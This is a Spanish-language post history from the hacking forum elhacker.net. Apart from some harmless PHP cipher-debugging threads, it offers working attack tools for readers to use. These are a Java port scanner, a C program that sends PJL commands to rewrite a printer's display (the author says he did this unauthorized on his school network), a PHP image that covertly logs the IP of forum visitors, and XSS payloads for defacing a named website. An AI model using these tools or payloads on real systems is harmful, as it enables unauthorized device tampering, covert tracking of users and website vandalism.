elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Mensajes
Páginas: [1] 2
1  Seguridad Informática / Seguridad / [HOW TO] Crear escaner de puertas abiertas. en: 9 Julio 2014, 13:04 pm
Buenos días/noches, amigos. Hoy les voy a mostrar como, fácilmente, podemos crear una pequeña herramienta que permite de escanear las puertas abiertas de un IP.

El lenguaje en el que lo vamos a escribir nuestro programa/herramienta es JAVA: versátil, fácil y ligero.

Requisitos:
-Mínimo conocimiento de programación
-Plataforma de programación JAVA, ya sea: Eclipse, NetBeans, Notepad++, etc.
-Conocimiento lógico de una conexión.
-Ganas.

Código:

Scanner.java
Código:
package com.scanner;

import java.net.UnknownHostException;


public class Scanner {
public static void main (String[] args) {
try {
new Program();
} catch (UnknownHostException e) {
e.printStackTrace();
}
}
}


Program.java
Código:
package com.scanner;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.net.UnknownHostException;


public class Program {


private String IP;
private InetAddress inetAddress;
private Socket sock;
private BufferedReader input;

public Program() throws UnknownHostException {
input = new BufferedReader(new InputStreamReader(System.in));
System.out.println("IP: ");
try {
IP = input.readLine();
} catch(IOException ioex) {
System.out.println("Error: IOException - "+ioex);
}

inetAddress = InetAddress.getByName(IP);

for(int i=0; i<65535; i++) {
try {
sock = new Socket();
sock.connect(new InetSocketAddress(inetAddress, i), 2);
System.out.println("Conectado al IP: "+ IP + " - PUERTA: "+ i);
} catch (IOException ioex) {
}
}
}
}


Obviamente, si tienen un poquito de imaginación, pueden realizar un programa multi-threading que chequeé todos los IPs de los dispositivos conectados a la red local y de consecuencia escanear sus puertas abiertas.
Espero que les guste.
2  Seguridad Informática / Hacking / Hack Impresora en: 15 Mayo 2013, 20:28 pm
Hola muchachos, antes inizio diciendo que no hay muchas imagenes y puede que no sea claro, por eso intentare de explicar bien.
Hoy estaba en la escuela conectado a la red wireless, hice un nmap -T Insane -A 192.168.1.0/24, para ver los equipos que estaban conectados a la red y las puertas abiertas.

Bueno, me aparecio questa IP: 192.168.1.27 con il nombre (Lexmark.. bla bla bla), si es una impresora, con muchos ports abiertos y uno de estos era el 9100.

9100    TCP      PDL Data Stream

Buscando buscando y googleando y buscando mas, cai en una pagina donde ensenyaban el PJL (Pritner Job Language), con unos codigos. Estos codigos eran unos comandos que enviados a la impresora habrian hecho algo!
Pense pense y pense, y llegue a la conclusion y me dije:

"Mateo, tu sabes programar en C, haz un programa que te envie ese comando para hacer algo en la impresora no?"

Y me puse a trabajar, el comando que use fue el de cambiar lo que hay escrito en la impresora (en la pantallita).

Llegando a este resultado (Me disculpo por la resolucion pero la hice con el celular y no tenia que verme el profesor)



En italiano "PACCHISSIMO" que se pronuncia "PAKKISSIMO" es una cosa mal hecha o con resultados no buenos.

Ese es el texto ya modificado! A placer obviamente. Ahora les dejo el codigo de mi programita. Pruebenlo y diganme que tal!

Código
  1. //Daxgon
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netdb.h>
  5. #include <netinet/in.h>
  6. #include <stdio.h>
  7.  
  8. #define PORT 9100
  9.  
  10. int main (int argc, char *argv[]) {
  11.  
  12.  int sockfd,len,bytes_sent;
  13.  struct hostent *host;
  14.  struct sockaddr_in dest_addr;
  15.  char line[100];
  16.  
  17.  if (argc !=3) {
  18.    printf("\tIl messaggio non puo essere piu lungo di 16 caratteri\n");
  19.    exit(1);
  20.  }
  21.  
  22.  if ( (host=gethostbyname(argv[1])) == NULL) {
  23.    perror("La funzione gethostbyname ha prodotto un errore");
  24.    exit(1);
  25.  }
  26.  
  27.  printf ("Stampanti Hack By: Dax\n");
  28.  printf ("Hostname:   %s\n", argv[1]);
  29.  printf ("Messaggio: %s\n",argv[2]);
  30.  
  31.  dest_addr.sin_family= host->h_addrtype;  
  32.  dest_addr.sin_port= htons(PORT) ;
  33.  bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);
  34.  
  35.  bzero(&(dest_addr.sin_zero), 8);
  36.  
  37.  printf ("Socket....\n");
  38.  if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  39.    perror("Errore con il socket");
  40.    exit(1);
  41.  }
  42.  
  43.  printf ("Connettendo....\n");
  44.  if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  45.    perror("Errore durante la connessione");
  46.    exit(1);}
  47.  
  48.  //Questo è il codice della stampante
  49.  
  50.  strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");
  51.  strncat(line,argv[2],44);
  52.  strcat(line,"\"\r\n\033%-12345X\r\n");
  53.  
  54.  
  55.  printf ("Inviando dati...%d\n",strlen(line));
  56.  printf ("Linea: %s\n",line);
  57.  bytes_sent=send(sockfd,line,strlen(line),0);
  58.  
  59.  printf("Inviati %d bytes\n",bytes_sent);
  60.  close(sockfd);
  61. }
  62.  
Les prometo que entro sabado pondre muchas mas imagenes del nmap, asi entenderan mejor!

Si tienen dudas escribanme!

Big Up!

PS. Ahora estoy trabajando en un programa que me controla la impresora desde el computer. Pudiendo manejar todo lo que es posible. Quando este acabado y funcione lo dejare libre

Ah si, los codigos son estos por si no habian entendido.

Ec%-12345X@PJL RDYMSG DISPLAY="MESSAGE"
Ec%-12345X


Para compilar en Linux:

gcc -o nombredelarchivofinal nombredelarchivoenc.c

Y para ejecutar tenes que pasarle 2 argumentos. La IP local de la impresora y el mensaje ES:

./hackdisplay 192.168.1.27 "Este mensaje se vedra en la pantalla"
3  Programación / PHP / Re: [SCRIPT]Conseguir IP en SMF con imagen en: 28 Octubre 2009, 19:13 pm
Hola amigos de ElHacker.net

Curiosiando, descubri esto...

Código
  1. <?php
  2. Header("Content-type: image/png");
  3. $im = ImageCreate(300, 300);
  4. $red = ImageColorAllocate($im, 255, 0, 0);
  5. $white = ImageColorAllocate($im, 255, 255, 255);
  6. $blue = ImageColorAllocate($im, 0, 0, 255);
  7. $black = ImageColorAllocate($im, 0, 0, 0);
  8. ImageFill($im, 0, 0, $red);
  9. ImageString($im, 10, 10, 10, "Hola elhacker.net", $black);
  10. $font_width = ImageFontWidth(10);
  11. $string_width = $font_width * (strlen("Hola! elhacker.net"));
  12. ImageLine($im, 100, 50, (100+$string_width), 50, $black);
  13. ImagePng($im);
  14. $nombre_archivo = 'logs.txt';
  15. if($_SERVER["HTTP_X_FORWARDED_FOR"]){
  16. $contenido = $_SERVER["HTTP_X_FORWARDED_FOR"]."<br/>";
  17. }else{
  18. $contenido = $_SERVER["REMOTE_ADDR"]."<br/>";
  19. }
  20.  
  21. if (is_writable($nombre_archivo)) {
  22.  
  23.    if (!$gestor = fopen($nombre_archivo, 'a')) {
  24.         echo "Error";
  25.         exit;
  26.    }
  27.  
  28.    if (fwrite($gestor, $contenido) === FALSE) {
  29.        echo "Error";
  30.        exit;
  31.    }
  32.  
  33.    echo "Exito";
  34.  
  35.    fclose($gestor);
  36.  
  37. } else {
  38.    echo "Error";
  39. }
  40. ?>

Lo guardamos con el nombre imagen.php puedes otro si quieres +
y obviamente creamos el log que se llame "logs.txt" que no contenga nada...
los subimos al servidor preferiblemente que sea de ustedes y editamos los permisos del archivo log a 777.
Ahora vamos al foro que sera por decirlo "victima" aunque no tiene nada que ver porque la IP no sirve... y vamos a Editar Perfil y elejis la opcion Subir por link, y ponemos
http://tu-nombre-web.com/imagen.php
si la haz guardado en otro directorio asegurate de ponerlo bien ;-)
Y ya esta hecho!, cada vez que hagas un post veras su IP, o cuando entren a tu perfil!

Saludos!!!!!!!!!!!!!!

Y luego?, aparte ya lo habían posteado.. pero no entiendo para qué quereís las ip?, ni sabes de quien son xD
Lo se ._. XDDD

Pero no hace mucho que estoy estudiando php y estoy haciendo este tipo de cosas...

Bueno blockar tema porqe estaba posteado...
4  Programación / PHP / Re: [SCRIPT]Conseguir IP en SMF con imagen en: 28 Octubre 2009, 17:44 pm
Esto por que tendria que estar en "  Bugs y Exploits »  Nivel Web " , mas bien lo pondria en PHP.

Yo hice uno parecido pero que trabajaba con una base de datos y te sacaba ( la mayoria de las veces ) el usuario que vio tu imagen con su IP y su User agent :P
O__O Lo has posteado por caso?

Para verlo :)
5  Programación / PHP / [SCRIPT]Conseguir IP en SMF con imagen en: 28 Octubre 2009, 12:57 pm
Hola amigos de ElHacker.net

Curiosiando, descubri esto...

Código
  1. <?php
  2. Header("Content-type: image/png");
  3. $im = ImageCreate(300, 300);
  4. $red = ImageColorAllocate($im, 255, 0, 0);
  5. $white = ImageColorAllocate($im, 255, 255, 255);
  6. $blue = ImageColorAllocate($im, 0, 0, 255);
  7. $black = ImageColorAllocate($im, 0, 0, 0);
  8. ImageFill($im, 0, 0, $red);
  9. ImageString($im, 10, 10, 10, "Hola elhacker.net", $black);
  10. $font_width = ImageFontWidth(10);
  11. $string_width = $font_width * (strlen("Hola! elhacker.net"));
  12. ImageLine($im, 100, 50, (100+$string_width), 50, $black);
  13. ImagePng($im);
  14. $nombre_archivo = 'logs.txt';
  15. if($_SERVER["HTTP_X_FORWARDED_FOR"]){
  16. $contenido = $_SERVER["HTTP_X_FORWARDED_FOR"]."<br/>";
  17. }else{
  18. $contenido = $_SERVER["REMOTE_ADDR"]."<br/>";
  19. }
  20.  
  21. if (is_writable($nombre_archivo)) {
  22.  
  23.    if (!$gestor = fopen($nombre_archivo, 'a')) {
  24.         echo "Error";
  25.         exit;
  26.    }
  27.  
  28.    if (fwrite($gestor, $contenido) === FALSE) {
  29.        echo "Error";
  30.        exit;
  31.    }
  32.  
  33.    echo "Exito";
  34.  
  35.    fclose($gestor);
  36.  
  37. } else {
  38.    echo "Error";
  39. }
  40. ?>

Lo guardamos con el nombre imagen.php puedes otro si quieres +
y obviamente creamos el log que se llame "logs.txt" que no contenga nada...
los subimos al servidor preferiblemente que sea de ustedes y editamos los permisos del archivo log a 777.
Ahora vamos al foro que sera por decirlo "victima" aunque no tiene nada que ver porque la IP no sirve... y vamos a Editar Perfil y elejis la opcion Subir por link, y ponemos
http://tu-nombre-web.com/imagen.php
si la haz guardado en otro directorio asegurate de ponerlo bien ;-)
Y ya esta hecho!, cada vez que hagas un post veras su IP, o cuando entren a tu perfil!

Saludos!!!!!!!!!!!!!!
6  Programación / PHP / Re: [Duda] array mal hecho en: 28 Septiembre 2009, 21:15 pm
Ahi va bien hecho...
Código
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5. <title>Ejemplo 2</title>
  6. </head>
  7. <body>
  8. <form action="count.php" method="POST">
  9. Para descifrar: <input type="text" name="mensaje" />
  10. <input type="checkbox" name="opcion_4" />Desencriptacion 4
  11. </select>
  12. <br /><input type="submit" value="descifrar!" />
  13. </form>
  14. <?php
  15. $decrypt_4 = $HTTP_POST_VARS["opcion_4"];
  16. $mensaje_4 = $HTTP_POST_VARS["mensaje"];
  17. $rep = array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
  18. $sol = array("W","X","Y","Z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","w","x","y","z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v");
  19. $conteo = strlen($mensaje_4);
  20. if ($decrypt_4) {
  21.    for ($i = 0; $i < $conteo; $i++){
  22. $key = array_search($mensaje_4[$i], $sol);
  23. $mensaje_4[$i] = $rep[$key];
  24.    }
  25.    echo "<strong>Desencriptacion 4: </strong>", $mensaje_4, "<br>";
  26. }
  27. ?>
  28. </body>
  29. </html>
  30.  

Lo que pasaba era que el str_replace afectaba a toda la cadena que metias, asi si por ejemplo sustituias W por A, en el 5º bucle, se volvia a sustituir ese A por E, y asi sucesivamente...Ahora esta mas sencillito y sin errores...


Muchisimas gracias :D
7  Programación / PHP / Re: [Duda] array mal hecho en: 26 Septiembre 2009, 14:20 pm
Tengo un poco de sueño ( son las 6 am y no eh dormido ) pero el error ocurre por que guardas la cadena remplazada en $mensaje_4 entonces por ejemplo si en el primer bucle remplaza a todas las W por una A en el segundo bucle los remplaza esa misma A por una E ;)
Bno man no entendi mucho, Cuando puedas me ayudas arreglando el code ;)

Graicas =
8  Programación / PHP / Re: [Duda] Remplazar caracteres de una variable POST en: 26 Septiembre 2009, 10:11 am
No hagas temas que despues le borraras tanto la pregunta como tu respuesta [en este caso] asi no nos enteramos cual era tu problema ni como lo solucionaste, si encuentras la solucion la posteas como respuesta aun que paresca "tonto" pero asi aprendemos todos ¬¬
Lo siento, Hay tengo una nueva duda con el mismo SCRIPT :)

Porfavor ayuda XD
9  Programación / PHP / [Duda] array mal hecho en: 25 Septiembre 2009, 17:37 pm
Bueno el codigo no funciona bien
EJ:
Escriban esto :WXYZABCDEFGHIJKLMNOPQRSTUV
les deberia salir: ABCDEFGHIJKLMNOPQRSTUVWXYZ
PEro no lo que imprime es: STUVSTUVABCDEFGHIJKLMNOPQR

Ayuda plz :D

Codigo
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<
html xmlns="http://www.w3.org/1999/xhtml">
<
head>
<
meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<
title>Ejemplo 2</title>
</
head>
<
body>
<
form action="formulario.php" method="POST">
Para descifrar: <input type="text" name="mensaje" />
<
input type="checkbox" name="opcion_4" />Desencriptacion 4 
</select>
<
br /><input type="submit" value="descifrar!" />
</
form>
<?
php
$decrypt_4 
$HTTP_POST_VARS["opcion_4"];
$mensaje_4 $HTTP_POST_VARS["mensaje"];
$rep = array("A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z");
$sol = array("W","X","Y","Z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","w","x","y","z","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v");
$conteo count($sol);
if (
$decrypt_4) {
for (
$i 0$i $conteo$i++){
$mensaje_4 str_replace($rep[$i],$sol[$i],$mensaje_4);
}
echo 
"<strong>Desencriptacion 4: </strong>"$mensaje_4"<br>";
}
?>
</body>
</html>
10  Seguridad Informática / Nivel Web / Re: Jugando con XSS en: 17 Diciembre 2008, 02:12 am
Tonces...

IV Capítulo | "Styleando" a la manera de DaXGoN

Bueno dejemnos unas cositas claras :), primero xD la página a la que realizaremos los "ataques" es: www.juegaconmigo.webcindario.com

Con los style se puede poner una imagen, texto, div, table. en el lugar que te plasca.
Si saben usarlo pueden dejar TODA la página en blanco y solo el resultado de busqueda. xD
"Disablear", parte de la página.
Y muchas cosas....



Una cosa, no vamos a usar la etiqueta <style> lo vamos a hacer de otra forma... Ejemplo:
<div style="position: absolute; top:18px; left:0px; width: 800px; height: 600px; overflow: visible; ">Código</div> así es más entendible, logramos no confundirnos tanto. Bueno si sabemos lo minimo de CSS podemos entender ese código que es un poco simple.

Ahora vamos a la accion, primero pondremos este código en la página:
<div><img src="http://www.dragonjar.org/wp-content/themes/dragonjar/pix/hdrs/header.jpg" /></div>

Pues si no tiene caso porque, la imagen no se visualiza con su verdadero tamaño y si la queremos en otro lugar no podremos porque es un simple <div>, e imagen, sin estilo(s), ahora utilizaremos el codigo anterior pero agregandole el siguiente estilo, el código será:
<div style="background: url('http://www.dragonjar.org/wp-content/themes/dragonjar/pix/hdrs/header.jpg'); position: absolute; top:34px; left:78px; width: 966px; height: 128px; "></div> Entereamos!

Y analizemos el código...

"stlye" Declara que apartir de ahí hasta que se cierre la etiqueta se cumpla los estilos que están escritos dentro de style=...
"background" Declara el fondo que se va a usar en el div.
"position:absolute;" Hace que se cumpla el top y left.
"top" El espacio que se desea usar verticalmente.
"left" El espacio que se desea usar horizontalmente.
"width" Ancho de el estilo
"height" Largo de el estilo

Ok ahora vamos a poner el ejemplo que dije antes, de poner toda la web en blanco y con una simple linea de texto, para eso usaremos un fondo blanco (encima de todo) reproduciendolo en toda la página,  y un linea de texto dentro de un div, el código es el siguiente:

<div onmouseover:alert(34); style="background: url('http://fotos.subefotos.com/8609b302154ffc7ac72899acb34ddaf6o.jpg'); position:absolute; overflow: visible;  width:1278px; height:614px; top:0px; left:0px; "><font size=4px face=Verdana><p>Solo se ve esta linea de texto :D YUPI! Funciono</p></font></div>

Y así en adelante. podremos editar la web a gusto :D

Bueno lo demás ya es cosa suya :D no les voy a enseñar CSS ¬¬, ahora pueden probar con más webs vulnerables e invetar nuevos trucos xD.

Bueno! todo tiene su fin y aquí termina el tutorial de XSS. Gracias por leerlo! Y disfrutad de el!

By: DaXGoN

Cualquier aporte es bienvenido, criticas, correciones, trucos, etc.



Aquí unos truquillos :D

Código:
<script>document.body.contentEditable='true'; document.designMode='on'; void 0</script><marquee>DaXGoN</marquee>
(Hace editable la web)



Y así me despido ;D que les sea útil

/off
Páginas: [1] 2
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines